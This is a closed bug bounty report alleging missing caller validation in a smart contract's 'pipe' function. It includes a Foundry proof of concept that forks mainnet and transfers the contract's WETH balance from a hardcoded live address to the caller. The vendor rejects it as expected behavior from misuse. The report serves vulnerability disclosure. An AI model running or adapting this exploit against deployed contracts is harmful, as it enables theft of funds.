📄

Report #28370

Report Date
February 10, 2024
Status
Closed
Payout

Lack of caller validation

‣
Report Info

Report ID

#28370

Report type

Smart Contract

Has PoC?

Yes

Target

Impacts

  • Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

Bug Description

Pipes does not check whether the msg.sender is the legitimal one or any other user leading to arbitrary calls allowing the attacker to transfer funds.

Impact

Stealing Users Funds.

Risk Breakdown

Difficulty to Exploit: Easy Weakness: Not checking if msg.sender is depot CVSS2 Score: Critical

Recommendation

Checking msg.sender == depot.

References

Photos on the ticket.

Proof of concept

pragma solidity ^0.8.20;

import {Test, console2} from "forge-std/Test.sol";

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
}

interface Pipe_I {
    function advancedPipe(AdvancedPipeCall[] memory pipes)
        external
        payable
        returns (bytes[] memory results);

    function multiPipe(PipeCall[] memory pipes)
        external
        payable
        returns (bytes[] memory results);

    function onERC1155BatchReceived(
        address,
        address,
        uint256[] memory,
        uint256[] memory,
        bytes memory
    ) external returns (bytes4);

    function onERC1155Received(
        address,
        address,
        uint256,
        uint256,
        bytes memory
    ) external returns (bytes4);

    function onERC721Received(
        address,
        address,
        uint256,
        bytes memory
    ) external returns (bytes4);

    function pipe(PipeCall memory p)
        external
        payable
        returns (bytes memory result);

    function supportsInterface(bytes4 interfaceId) external view returns (bool);

    function version() external pure returns (string memory);
}

struct AdvancedPipeCall {
    address target;
    bytes callData;
    bytes clipboard;
}

struct PipeCall {
    address target;
    bytes data;
}

contract CounterTest is Test 
{	
	Pipe_I Pipe = Pipe_I(0xb1bE0000C6B3C62749b5F0c92480146452D15423);
	
	IERC20 Weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
	
	function setUp() public {
        vm.selectFork(vm.createFork("mainnet"));    
	}
		
    function testA() public 
	{	
		console2.log(Weth.balanceOf(address(this)));

		{
			PipeCall memory pipecalldata;
			
			pipecalldata.target = address(Weth);
			pipecalldata.data = abi.encodeWithSignature(
				"transfer(address,uint256)",
				address(this),
				Weth.balanceOf(address(Pipe))
			);
			
			Pipe.pipe(pipecalldata);
		}
		
		console2.log(Weth.balanceOf(address(this)));
    }
}

BIC Response

This is not a valid bug report because it describes expected behavior from misuse of Pipeline.

From the bug bounty program:

Note that unexpected outcomes (like loss of funds) due to misuse of Pipeline do not qualify as valid bug reports.

Due to these reasons, we are closing the submission and no reward will be issued.